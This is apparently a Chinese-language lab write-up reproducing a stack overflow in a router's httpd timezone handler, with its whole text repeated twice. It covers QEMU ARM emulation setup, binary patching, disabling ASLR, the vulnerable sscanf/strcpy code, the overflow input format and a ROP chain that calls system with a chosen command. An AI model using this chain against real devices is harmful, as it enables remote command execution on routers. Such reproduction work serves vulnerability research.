环境配置 设置主机网络环境 本地桥接br0,开放tap0接口
1 2 3 4 5 6 7 8 9 10 11 12 13 14 sudo ip link add name br0 type bridge # 将 eth9(自己选择设备) 加入网桥 sudo ip link set eth9 master br0 # 设置自己的ip sudo ip addr add 192.168.117.1/24 dev br0 sudo ip link set br0 up # 创建 TAP 设备(例如 tap0) sudo ip tuntap add name tap0 mode tap # 启动 TAP 设备 sudo ip link set tap0 up # 将 TAP 设备添加到网桥 br0(假设 br0 已存在且配置正确) sudo ip link set tap0 master br0 sudo ifconfig tap0 192.168.117.100/24
调整httpd文件 由于不能模拟部分环境,需要将httpd的部分判断修改后才能正常运行
*开头表示修改完成后的行
1 2 3 4 5 6 7 8 9 10 11 12 13 * .text:0002E248 MOV R3, #1 .text:0002E24C CMP R3, #0 .text:0002E250 BGT loc_2E260 .text:0002E254 MOV R0, #1 ; seconds .text:0002E258 BL sleep .text:0002E25C B loc_2E23C .text:0002E260 ; --------------------------------------------------------------------------- .text:0002E260 .text:0002E260 loc_2E260 ; CODE XREF: sub_2E158+F8↑j * .text:0002E260 MOV R0, #1 ; seconds .text:0002E264 BL sleep .text:0002E268 BL ConnectCfm .text:0002E26C MOV R3, #1
设置qemu环境 主机下载虚拟机镜像
1 2 3 wget https://people.debian.org/~aurel32/qemu/armhf/debian_wheezy_armhf_standard.qcow2 wget https://people.debian.org/~aurel32/qemu/armhf/initrd.img-3.2.0-4-vexpress wget https://people.debian.org/~aurel32/qemu/armhf/vmlinuz-3.2.0-4-vexpress
主机启动虚拟机
1 2 3 4 5 6 7 8 sudo qemu-system-arm \ -M vexpress-a9 \ -kernel vmlinuz-3.2.0-4-vexpress \ -initrd initrd.img-3.2.0-4-vexpress \ -drive if=sd,file=debian_wheezy_armhf_standard.qcow2 \ -append "root=/dev/mmcblk0p2 console=ttyAMA0" \ -net nic -net tap,ifname=tap0,script=no,downscript=no \ -nographic -audio none
虚拟机设置eth0网络环境
1 ifconfig eth0 192.168.117.76/24 up
主机上传文件
1 scp -r ./squashfs-root root@192.168.117.76:/root
启动服务
1 2 3 4 5 6 7 8 9 10 11 12 mount -t proc /proc ./squashfs-root/proc mount -o bind /dev ./squashfs-root/dev chroot ./squashfs-root/ sh brctl addbr br0 #添加br0虚拟网卡 ifconfig br0 192.168.117.76/24 up # 修复页面显示问题 cp -rf ./webroot_ro/* ./webroot/ echo 0 > /proc/sys/kernel/randomize_va_space #关闭地址随机化 ./bin/httpd
执行 将poc.py中的url替换成你的url,检查libc地址是否一致后可执行
原理 溢出点 1 2 3 4 5 6 7 8 9 10 11 12 13 v1 = (_BYTE *)sscanf(v15 + 1, "%[^:]:%s", nptr, v6); if ( v1 == (_BYTE *)2 ) { if ( *v15 == '-' ) v20 = 0xC - atoi(nptr); else v20 = atoi(nptr) + 0xC; sprintf(v8, "%d", v20); strcpy(v7, v6); SetValue("sys.timezone", v8); v1 = (_BYTE *)SetValue("sys.timenextzone", v7); } }
并不存在过滤,所以可以捕获过长的字符串进行溢出,但需要考虑要使得v1 !=2,避免多余的strcpy,因为处理不当会出现构造的rop出现错误,所以要构造以下格式的数据
1 "a"*(offset+1) + payload +": \n"
offset+1是为了满足sscanf从v15+1读取的原因
执行gadget构造 定位system,想办法控制到R0,寻找符合条件的文件
1 ROPgadget --binary httpd --only r3|ret
构造payload
1 payload+= p32(pop_r3_pc) + p32(system) + p32(mov_r0_SP_ldr_r3) + cmd
执行pop_r3_pc时,将system的地址设置为r3,将mov_r0_SP_ldr_r3的地址放入pc寄存器,也就是运行mov_r0_SP_ldr_r3处代码。
执行mov_r0_SP_ldr_r3,将sp(cmd命令地址)放入r0,跳转运行r3地址处,也就是刚刚放入r3的system
运行结果 成功打印success_pwn_it
环境配置 设置主机网络环境 本地桥接br0,开放tap0接口
1 2 3 4 5 6 7 8 9 10 11 12 13 14 sudo ip link add name br0 type bridge # 将 eth9(自己选择设备) 加入网桥 sudo ip link set eth9 master br0 # 设置自己的ip sudo ip addr add 192.168.117.1/24 dev br0 sudo ip link set br0 up # 创建 TAP 设备(例如 tap0) sudo ip tuntap add name tap0 mode tap # 启动 TAP 设备 sudo ip link set tap0 up # 将 TAP 设备添加到网桥 br0(假设 br0 已存在且配置正确) sudo ip link set tap0 master br0 sudo ifconfig tap0 192.168.117.100/24
调整httpd文件 由于不能模拟部分环境,需要将httpd的部分判断修改后才能正常运行
*开头表示修改完成后的行
1 2 3 4 5 6 7 8 9 10 11 12 13 * .text:0002E248 MOV R3, #1 .text:0002E24C CMP R3, #0 .text:0002E250 BGT loc_2E260 .text:0002E254 MOV R0, #1 ; seconds .text:0002E258 BL sleep .text:0002E25C B loc_2E23C .text:0002E260 ; --------------------------------------------------------------------------- .text:0002E260 .text:0002E260 loc_2E260 ; CODE XREF: sub_2E158+F8↑j * .text:0002E260 MOV R0, #1 ; seconds .text:0002E264 BL sleep .text:0002E268 BL ConnectCfm .text:0002E26C MOV R3, #1
设置qemu环境 主机下载虚拟机镜像
1 2 3 wget https://people.debian.org/~aurel32/qemu/armhf/debian_wheezy_armhf_standard.qcow2 wget https://people.debian.org/~aurel32/qemu/armhf/initrd.img-3.2.0-4-vexpress wget https://people.debian.org/~aurel32/qemu/armhf/vmlinuz-3.2.0-4-vexpress
主机启动虚拟机
1 2 3 4 5 6 7 8 sudo qemu-system-arm \ -M vexpress-a9 \ -kernel vmlinuz-3.2.0-4-vexpress \ -initrd initrd.img-3.2.0-4-vexpress \ -drive if=sd,file=debian_wheezy_armhf_standard.qcow2 \ -append "root=/dev/mmcblk0p2 console=ttyAMA0" \ -net nic -net tap,ifname=tap0,script=no,downscript=no \ -nographic -audio none
虚拟机设置eth0网络环境
1 ifconfig eth0 192.168.117.76/24 up
主机上传文件
1 scp -r ./squashfs-root root@192.168.117.76:/root
启动服务
1 2 3 4 5 6 7 8 9 10 11 12 mount -t proc /proc ./squashfs-root/proc mount -o bind /dev ./squashfs-root/dev chroot ./squashfs-root/ sh brctl addbr br0 #添加br0虚拟网卡 ifconfig br0 192.168.117.76/24 up # 修复页面显示问题 cp -rf ./webroot_ro/* ./webroot/ echo 0 > /proc/sys/kernel/randomize_va_space #关闭地址随机化 ./bin/httpd
执行 将poc.py中的url替换成你的url,检查libc地址是否一致后可执行
原理 溢出点 1 2 3 4 5 6 7 8 9 10 11 12 13 v1 = (_BYTE *)sscanf(v15 + 1, "%[^:]:%s", nptr, v6); if ( v1 == (_BYTE *)2 ) { if ( *v15 == '-' ) v20 = 0xC - atoi(nptr); else v20 = atoi(nptr) + 0xC; sprintf(v8, "%d", v20); strcpy(v7, v6); SetValue("sys.timezone", v8); v1 = (_BYTE *)SetValue("sys.timenextzone", v7); } }
并不存在过滤,所以可以捕获过长的字符串进行溢出,但需要考虑要使得v1 !=2,避免多余的strcpy,因为处理不当会出现构造的rop出现错误,所以要构造以下格式的数据
1 "a"*(offset+1) + payload +": \n"
offset+1是为了满足sscanf从v15+1读取的原因
执行gadget构造 定位system,想办法控制到R0,寻找符合条件的文件
1 ROPgadget --binary httpd --only r3|ret
构造payload
1 payload+= p32(pop_r3_pc) + p32(system) + p32(mov_r0_SP_ldr_r3) + cmd
执行pop_r3_pc时,将system的地址设置为r3,将mov_r0_SP_ldr_r3的地址放入pc寄存器,也就是运行mov_r0_SP_ldr_r3处代码。
执行mov_r0_SP_ldr_r3,将sp(cmd命令地址)放入r0,跳转运行r3地址处,也就是刚刚放入r3的system
运行结果 成功打印success_pwn_it